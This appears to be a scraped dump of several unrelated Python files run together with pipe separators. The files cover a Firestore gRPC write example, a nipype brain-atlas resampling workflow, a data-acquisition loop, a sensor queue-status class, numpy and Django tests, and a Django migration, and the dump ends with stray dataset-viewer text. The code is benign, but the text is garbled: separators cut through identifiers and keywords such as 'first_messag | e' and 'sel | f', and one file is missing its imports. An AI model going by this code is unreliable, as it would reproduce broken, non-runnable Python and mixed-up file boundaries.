from google.firestore.v1beta1 import document_pb2_grpc
from google.firestore.v1beta1 import common_pb2
from google.firestore.v1beta1 import common_pb2_grpc
from google.firestore.v1beta1 import write_pb2
from google.firestore.v1b | eta1 import write_pb2_grpc
from google.protobuf import empty_pb2
from google.protobuf import timestamp_pb2
def first_messag | e(database, write):
messages = [
firestore_pb2.WriteRequest(database = database, writes = [])
]
for msg in messages:
yield msg
def generate_messages(database, writes, stream_id, stream_token):
# writes can be an array and append to the messages, so it can write multiple Write
# here just write one as example
messages = [
firestore_pb2.WriteRequest(database=database, writes = []),
firestore_pb2.WriteRequest(database=database, writes = [writes], stream_id = stream_id, stream_token = stream_token)
]
for msg in messages:
yield msg
def main():
fl = os.path.dirname(os.path.abspath(__file__))
fn = os.path.join(fl, 'grpc.json')
with open(fn) as grpc_file:
item = json.load(grpc_file)
creds = item["grpc"]["Write"]["credentials"]
credentials = service_account.Credentials.from_service_account_file("{}".format(creds))
scoped_credentials = credentials.with_scopes(['https://www.googleapis.com/auth/datastore'])
http_request = google.auth.transport.requests.Request()
channel = google.auth.transport.grpc.secure_authorized_channel(scoped_credentials, http_request, 'firestore.googleapis.com:443')
stub = firestore_pb2_grpc.FirestoreStub(channel)
database = item["grpc"]["Write"]["database"]
name = item["grpc"]["Write"]["name"]
first_write = write_pb2.Write()
responses = stub.Write(first_message(database, first_write))
for response in responses:
print("Received message %s" % (response.stream_id))
print(response.stream_token)
value_ = document_pb2.Value(string_value = "foo_boo")
update = document_pb2.Document(name=name, fields={"foo":value_})
writes = write_pb2.Write(update_mask=common_pb2.DocumentMask(field_paths = ["foo"]), update=update)
r2 = stub.Write(generate_messages(database, writes, response.stream_id, response.stream_token))
for r in r2:
print(r.write_results)
if __name__ == "__main__":
main()
|
from ..subpackage1 import module1g
def func1h():
print('1h')
module1g.func1 | g()
| |
# Copyright (c) 2005, California Institute of Technology
# All rights reserved.
# Redistribution and use in source | and b | inary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
# * Neither the name of the California Institute of Technology nor
# the names of its contributors may be used to endorse or promote
# products derived from this software without specific prior
# written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Author: Andrew Straw
import UniversalLibrary as UL
BoardNum = 0
Gain = UL.BIP5VOLTS
Chan = 0
while 1:
DataValue = UL.cbAIn(BoardNum, Chan, Gain)
EngUnits = UL.cbToEngUnits(BoardNum, Gain, DataValue)
print DataValue, EngUnits
|
#!/usr/bin/env python3
import os
import os.path
from nipype.interfaces.utility import IdentityInterface, Function
from nipype.interfaces.io import SelectFiles, DataSink, DataGrabber
from nipype.pipeline.engine im | port Workflow, Node, MapNode
from nipype.interfaces.minc import Resample, BigAverage, VolSymm
import argparse
def create_workflow(
xfm_dir,
xfm_pattern,
atlas_dir,
atlas_pattern,
source_dir,
source_pattern,
work_dir,
out_dir,
name="new_data_to_atlas_space"
):
wf = Workflow(name=name)
wf.base_dir = os.path.join(work_dir)
datasource_source = Node(
interface=DataGrabber(
| sort_filelist=True
),
name='datasource_source'
)
datasource_source.inputs.base_directory = os.path.abspath(source_dir)
datasource_source.inputs.template = source_pattern
datasource_xfm = Node(
interface=DataGrabber(
sort_filelist=True
),
name='datasource_xfm'
)
datasource_xfm.inputs.base_directory = os.path.abspath(xfm_dir)
datasource_xfm.inputs.template = xfm_pattern
datasource_atlas = Node(
interface=DataGrabber(
sort_filelist=True
),
name='datasource_atlas'
)
datasource_atlas.inputs.base_directory = os.path.abspath(atlas_dir)
datasource_atlas.inputs.template = atlas_pattern
resample = MapNode(
interface=Resample(
sinc_interpolation=True
),
name='resample_',
iterfield=['input_file', 'transformation']
)
wf.connect(datasource_source, 'outfiles', resample, 'input_file')
wf.connect(datasource_xfm, 'outfiles', resample, 'transformation')
wf.connect(datasource_atlas, 'outfiles', resample, 'like')
bigaverage = Node(
interface=BigAverage(
output_float=True,
robust=False
),
name='bigaverage',
iterfield=['input_file']
)
wf.connect(resample, 'output_file', bigaverage, 'input_files')
datasink = Node(
interface=DataSink(
base_directory=out_dir,
container=out_dir
),
name='datasink'
)
wf.connect([(bigaverage, datasink, [('output_file', 'average')])])
wf.connect([(resample, datasink, [('output_file', 'atlas_space')])])
wf.connect([(datasource_xfm, datasink, [('outfiles', 'transforms')])])
return wf
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"--name",
type=str,
required=True
)
parser.add_argument(
"--xfm_dir",
type=str,
required=True
)
parser.add_argument(
"--xfm_pattern",
type=str,
required=True
)
parser.add_argument(
"--source_dir",
type=str,
required=True
)
parser.add_argument(
"--source_pattern",
type=str,
required=True
)
parser.add_argument(
"--atlas_dir",
type=str,
required=True
)
parser.add_argument(
"--atlas_pattern",
type=str,
required=True
)
parser.add_argument(
"--work_dir",
type=str,
required=True
)
parser.add_argument(
"--out_dir",
type=str,
required=True
)
parser.add_argument(
'--debug',
dest='debug',
action='store_true',
help='debug mode'
)
args = parser.parse_args()
if args.debug:
from nipype import config
config.enable_debug_mode()
config.set('execution', 'stop_on_first_crash', 'true')
config.set('execution', 'remove_unnecessary_outputs', 'false')
config.set('execution', 'keep_inputs', 'true')
config.set('logging', 'workflow_level', 'DEBUG')
config.set('logging', 'interface_level', 'DEBUG')
config.set('logging', 'utils_level', 'DEBUG')
wf = create_workflow(
xfm_dir=os.path.abspath(args.xfm_dir),
xfm_pattern=args.xfm_pattern,
atlas_dir=os.path.abspath(args.atlas_dir),
atlas_pattern=args.atlas_pattern,
source_dir=os.path.abspath(args.source_dir),
source_pattern=args.source_pattern,
work_dir=os.path.abspath(args.work_dir),
out_dir=os.path.abspath(args.out_dir),
name=args.name
)
wf.run(
plugin='MultiProc',
plugin_args={
'n_procs': int(
os.environ["NCPUS"] if "NCPUS" in os.environ else os.cpu_count
)
}
)
|
"""
Created on 26 Aug 2019
@author: Bruno Beloff (bruno.beloff@southcoastscience.com)
"""
from collections import OrderedDict
from enum import Enum
from scs_core.data.json import JSONReport
# --------------------------------------------------------------------------------------------------------------------
class QueueReport(JSONReport):
"""
classdocs
"""
# ----------------------------------------------------------------------------------------------------------------
@classmethod
def construct_from_jdict(cls, jdict, skeleton=False):
if not jdict:
return QueueReport(0, ClientStatus.WAITING, False)
length = jdict.get('length')
client_state = ClientStatus[jdict.get('client-state')]
publish_success = jdict.get('publish-success')
return QueueReport(length, client_state, publish_success)
# ----------------------------------------------------------------------------------------------------------------
def __init__(self, length, client_state, publish_success):
"""
Constructor
"""
self.__length = length # int or None
self.__client_state = client_state # int
self.__publish_success = publish_success # bool
# ----------------------------------------------------------------------------------------------------------------
def queue_state(self):
# client INHIBITED...
if self.client_state == ClientStatus.INHIBITED:
return QueueStatus.INHIBITED
# client WAITING...
if self.client_state == ClientStatus.WAITING:
return QueueStatus.STARTING
# client CONNECTING...
if self.client_state == ClientStatus.CONNECTING:
return QueueStatus.CONNECTING
# client CONNECTED...
if self.client_state == ClientStatus.CONNECTED:
if self.length == 0:
return QueueStatus.WAITING_FOR_DATA
if self.publish_success:
return QueueStatus.PUBLISHING
return QueueStatus.QUEUING
# unknown / error...
return QueueStatus.NONE
# ----------------------------------------------------------------------------------------------------------------
def as_json(self):
jdict = OrderedDict()
jdict['length'] = sel | f.length
jdict['client-state'] = self.client_state.name
jdict['publish-success'] = self.publish_success
return jdict
# ----------------------------------------------------------------------------------------------------------------
@property
def length(self):
return self.__length
@length.setter
def length(self, length):
self.__length = lengt | h
@property
def client_state(self):
return self.__client_state
@client_state.setter
def client_state(self, client_state):
self.__client_state = client_state
@property
def publish_success(self):
return self.__publish_success
@publish_success.setter
def publish_success(self, publish_success):
self.__publish_success = publish_success
# ----------------------------------------------------------------------------------------------------------------
def __str__(self, *args, **kwargs):
return "QueueReport:{length:%s, client_state:%s, publish_success:%s}" % \
(self.length, self.client_state, self.publish_success)
# --------------------------------------------------------------------------------------------------------------------
class ClientStatus(Enum):
"""
classdocs
"""
NONE = 0
INHIBITED = 1
WAITING = 2
CONNECTING = 3
CONNECTED = 4
# --------------------------------------------------------------------------------------------------------------------
class QueueStatus(Enum):
"""
classdocs
"""
NONE = 1
INHIBITED = 2
STARTING = 3
CONNECTING = 4
WAITING_FOR_DATA = 5
PUBLISHING = 6
QUEUING = 7
CLEARING = 8
|
#!/usr/bin/env python
import numpy as np
from scipy import special
from ..routines import median, mahalanobis, gamln, psi
from nose.tools import assert_true
from numpy.testing import assert_almost_equal, assert_equal, TestCase
class TestAll(TestCase):
def test_median(self):
x = np.random.rand(100)
assert_almost_equal(median(x), np.median(x))
def test_median2(self):
x = np.random.rand(101)
assert_equal(median(x), np.median(x))
def test_median3(self):
x = np.random.rand(10, 30, 11)
assert_almost_equal(np.squeeze(median(x,axis=1)), np.median(x,axis=1))
def test_mahalanobis0(self):
x = np.ones(100)
A = np.eye(100 | )
mah = 100.
f_mah = mahalanobis(x, A)
assert_almos | t_equal(mah, f_mah, decimal=1)
def test_mahalanobis1(self):
x = np.random.rand(100)
A = np.random.rand(100, 100)
A = np.dot(A.transpose(), A) + np.eye(100)
mah = np.dot(x, np.dot(np.linalg.inv(A), x))
f_mah = mahalanobis(x, A)
assert_almost_equal(mah, f_mah, decimal=1)
def test_mahalanobis2(self):
x = np.random.rand(100,3,4)
Aa = np.zeros([100,100,3,4])
for i in range(3):
for j in range(4):
A = np.random.rand(100,100)
A = np.dot(A.T, A)
Aa[:,:,i,j] = A
i = np.random.randint(3)
j = np.random.randint(4)
mah = np.dot(x[:,i,j], np.dot(np.linalg.inv(Aa[:,:,i,j]), x[:,i,j]))
f_mah = (mahalanobis(x, Aa))[i,j]
assert_true(np.allclose(mah, f_mah))
def test_gamln(self):
for x in (0.01+100*np.random.random(50)):
scipy_gamln = special.gammaln(x)
my_gamln = gamln(x)
assert_almost_equal(scipy_gamln, my_gamln)
def test_psi(self):
for x in (0.01+100*np.random.random(50)):
scipy_psi = special.psi(x)
my_psi = psi(x)
assert_almost_equal(scipy_psi, my_psi)
if __name__ == "__main__":
import nose
nose.run(argv=['', __file__])
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.12 on 2017-05-25 20:11
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('anagrafica', '0046_delega_stato'),
]
operations = [
migrations.AlterIndexTogether(
name='delega',
index_together=set([('persona', 'tipo', 'stato'), ('inizio', 'fine', 'tipo', 'oggetto_id', 'oggetto_tipo'), ('tipo', 'oggetto_tipo', 'oggetto_id' | ), ('persona', | 'inizio', 'fine', 'tipo'), ('persona', 'inizio', 'fine', 'tipo', 'stato'), ('persona', 'stato'), ('persona', 'inizio', 'fine'), ('inizio', 'fine', 'tipo'), ('persona', 'inizio', 'fine', 'tipo', 'oggetto_id', 'oggetto_tipo'), ('persona', 'tipo'), ('oggetto_tipo', 'oggetto_id'), ('inizio', 'fine', 'stato'), ('inizio', 'fine')]),
),
]
|
# coding: utf-8
"""
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
from django.test import TestCase
from django.core.exceptions import ValidationError
from eventex.core.models import Speaker, Contact
class SpeakerModelTest(TestCase):
"""
Test class.
"""
def setUp(self):
"""
Test initialization.
"""
self.speaker = Speaker(
name='Davi Garcia',
slug='davi-garcia',
url='http://www.davigarcia.com.br',
description='Passionate software developer!'
)
self.speaker.save()
def test_create(self):
"""
Speaker instance must be saved.
"""
self.assertEqual(1, self.speaker.pk)
def test_unicode(self):
"""
Speaker string representation should be the name.
"""
self.assertEqual(u'Davi Garcia', unicode(self.speaker))
class ContactModelTest(TestCase):
"""
Test class.
"""
def setUp(self):
"""
Test initialization.
"""
self.speaker = Speaker.objects.create(
name='Davi Garcia',
slug='davi-garcia',
url='http://www.davigarcia.com.br',
description='Passionate software developer!'
)
def test_email(self):
"""
Speaker should have email contact.
"""
| contact = Contact.objects.create(
speaker=self.speaker,
kind='E',
value='henrique@bastos.net'
)
self.assertEqual(1, contact.pk)
def test_phone(self):
"""
Speaker should have email contact.
"""
contact = Contact.objects.create(
speaker=self.speaker,
kind='P',
value='21-987654321'
)
self.assertEqual(1, contact.pk)
def test_fax(self | ):
"""
Speaker should have email contact.
"""
contact = Contact.objects.create(
speaker=self.speaker,
kind='F',
value='21-123456789'
)
self.assertEqual(1, contact.pk)
def test_kind(self):
"""
Contact kind must be limited to E, P or F.
"""
contact = Contact(speaker=self.speaker, kind='A', value='B')
self.assertRaises(ValidationError, contact.full_clean)
def test_unicode(self):
"""
Contact string representation should be value.
"""
contact = Contact(
speaker=self.speaker,
kind='E',
value='davivcgarcia@gmail.com')
self.assertEqual(u'davivcgarcia@gmail.com', unicode(contact))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.